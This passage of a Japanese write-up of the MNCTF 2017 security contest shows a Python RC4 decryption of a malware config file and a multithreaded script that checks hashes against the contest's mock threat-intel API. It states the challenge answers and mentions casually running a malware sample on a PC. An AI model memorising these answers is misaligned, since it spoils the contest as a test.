CTFってwindows環境(VM含め)必須なんだろうか?windows環境無しで戦ってる人っているのだろうか・・・?

ということで、winPCにWireSharkをいそいそとセットアップして、コマンドプロンプト立ち上げて上記のコマンドを打ってみる。

・・・
しーーーん・・・・
・・・
何も出てこないぞ?
人のPCだし、なんかFWかなんかに引っかかってるのかな?そもそも何か実行するための環境が足りてないのかな?WireShark側のセットアップが足りてない?
と色々可能性を考えたものの、winスキル+WireSharkスキルが低すぎて分からず・・・。
無念。

気を取り直して「vm.dat使わなかったらどうなるん?」と素直にコマンドプロンプト

svchost.exe

のみ実行してみる。すると

Must specify <RC4 key> <file>!

と怒られた。なんて親切!
ということは、key: abcd で file: vm.datRC4で暗号化されていると考えられる。
vm.datをRC4で復号してみる。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from Crypto.Cipher import ARC4

key = 'abcd'
with open('vm.dat', 'rb') as f:
    data = f.read()

cipher = ARC4.new(key)
dec = cipher.decrypt(data)
print(dec)

実行結果

$ python rc4_decode.py 
b'shinobot.com\n'

お、なんかめっちゃFQDNっぽいの出てきた!
こっちの解法のほうが Crypto っぽいし、結果オーライ!
しかし、今後に備えてWireSharkスキルを上げたい & WinPC側もセットアップしていきたい・・・。

情報照合☆★★ PROGRAMMING 100

問題

株式会社マクニキにて、マルウェアに感染している端末が見つかりました。契約したばかりのThreat Intelligence(脅威情報)サービス「MiNTEL」を活用することにしました。ファイルのハッシュ値を送るとマルウェア判定をしてくれるAPIベースのサービスなので、てしがわら君は感染端末にあるファイルのハッシュを取得し、APIを利用して、照合しようとしています。

てしがわら君の代わりにハッシュをAPIで照合し、「RAT.A.aa74e」と判定されるハッシュを見つけてください。
[ハッシュリスト](http://mnctf.info/mnctf2017/task/minhashlist.txt)
[MiNTEL API リファレンス(英語)](http://mnctf.info/mnctf2017/task/MiNTEL_API_Reference.pdf)
なお、API KEYは「578459***」です。

解答

問題文の「ハッシュリスト」のリンク先にはこのようなハッシュ値のリストが。

minhashlist.txt

dfa134b71ed7a89a4ac2f03325c096
82800319df0799b38d5eec4d915fc7
cbcb642557766fb8803ae7ce28e377
2169cdf2e557bbba139790bd1ddfa1
20aec25af4301a3816d9a4acba5c96
f63db975efe635c2b99a542759f649
5bd8da91f02b97e8448fe02f3b1efb
8e490b957ae9672963f1498180e26f
・・・

1000行あった。

MiNTEL API リファレンスの先には、MiNHASHの仕様書が落ちていた(PDF)。
どうやらHashの計算はオンラインのAPIで公開されているらしい。

ということで、ただただ仕様書を読んで、hashのlistの中から条件に合うhashを探すプログラムを書く。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
import json

gt_url = 'http://157.7.53.197/intel/gettoken/'
qy_url = 'http://157.7.53.197/intel/query/'
api_key = '578459a***'

minhashlist = []

with open('minhashlist.txt', 'r') as f:
    for line in f:
        minhashlist.append(line.split('\n')[0])

### get token
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payload = 'key=' + api_key
res = requests.post(gt_url, headers=headers, data=payload).json()
token = res['token']
print(token)

### check minhash
headers['X-TOKEN'] = token

for h in minhashlist:
    print(h)
    payload = 'hash=' + h
    res = requests.post(qy_url, headers=headers, data=payload).json()
    if res['detection_name'] == 'RAT.A.aa74e':
        print('MATCHED!!! hash: ' + h)
        break 

んで回してみると、どーにもこーにもサーバーからの応答速度が遅い!!1判定に1秒くらいかかっている。
これではいかん、ということでマルチスレッド化することに。
※ 1スレッドでぶん回しても1000秒 = 20分かからない計算なので、マルチスレッド化するのと追加実装、どっちが早いか微妙なとこではある。

まずは、処理するファイルを予め分割しておく。今回は50行ごとに分割。

$ split -l 50 minhashlist.txt minhashlist.
$ ls
minhashlist.aa minhashlist.ae minhashlist.ai minhashlist.am minhashlist.aq
minhashlist.ab minhashlist.af minhashlist.aj minhashlist.an minhashlist.ar
minhashlist.ac minhashlist.ag minhashlist.ak minhashlist.ao minhashlist.as
minhashlist.ad minhashlist.ah minhashlist.al minhashlist.ap minhashlist.at
minhashlist.txt

minhashlist.aa ~ minhashlist.at までできた。
あとは上のコードをマルチスレッド化。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
import json
import threading
import string

gt_url = 'http://157.7.53.197/intel/gettoken/'
qy_url = 'http://157.7.53.197/intel/query/'
api_key = '578459a***'
thread_num = 1000 // 50
alphabet = list(string.ascii_lowercase)

def check_minhash(file_name, token):
    ### read hash file
    minhashlist = []
    with open(file_name, 'r') as f:
        for line in f:
            minhashlist.append(line.split('\n')[0])
    ### check minhash
    headers['X-TOKEN'] = token
    for h in minhashlist:
        print(h)
        payload = 'hash=' + h
        res = requests.post(qy_url, headers=headers, data=payload).json()
        if res['detection_name'] == 'RAT.A.aa74e':
            print('MATCHED!!! hash: ' + h)
            break     

##########
## main ##
##########

### get token
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payload = 'key=' + api_key
res = requests.post(gt_url, headers=headers, data=payload).json()
token = res['token']
print(token)

### check_minhash with threads
threads = []
for t in range(thread_num):
    file_name = 'minhashlist.a' + alphabet[t]
    threads.append(threading.Thread(target=check_minhash, args=(file_name, token,)))
    threads[t].start()

男らしくエラー処理一切なし、決め打ち部分も多いけど、今回使えればOK!ということでこんな感じ。 実行してみると、5分かからずに出てきた!

MATCHED!!! hash: eef6b47cc2c1fbfbdbcb90f6376416

脆弱会話★★★ EXPLOIT 100

は、問題文を読むに苦手&あまり興味がないジャンルだったのでパス。

まとめ

感想

2018年と違って続き物がなかったので、途中で詰まっても他の問題に手がつけられるのが良かった。ただ、どの問題もそれなりに手応えがあったので、サクサク解ける感じでは無かった。
今の自分にちょうどよい難易度で、大変勉強になった。他の方のwrite-upももう少し読み込みたい。特に WireShark 使い倒して解いてるやつとか。

使えるオンラインサービスたち

  • 疑わしいファイルや URL を分析するオンラインサービス。パケットキャプチャファイルにも対応。

www.virustotal.com

  • JSやHTMLの整形・unpack・難読化解除のオンラインサービス

Online JavaScript beautifier

文字コード変換 WEBアプリケーション、フリーCGI配布 ---ahref.org

参考にさせていただいたwrite-upのリンク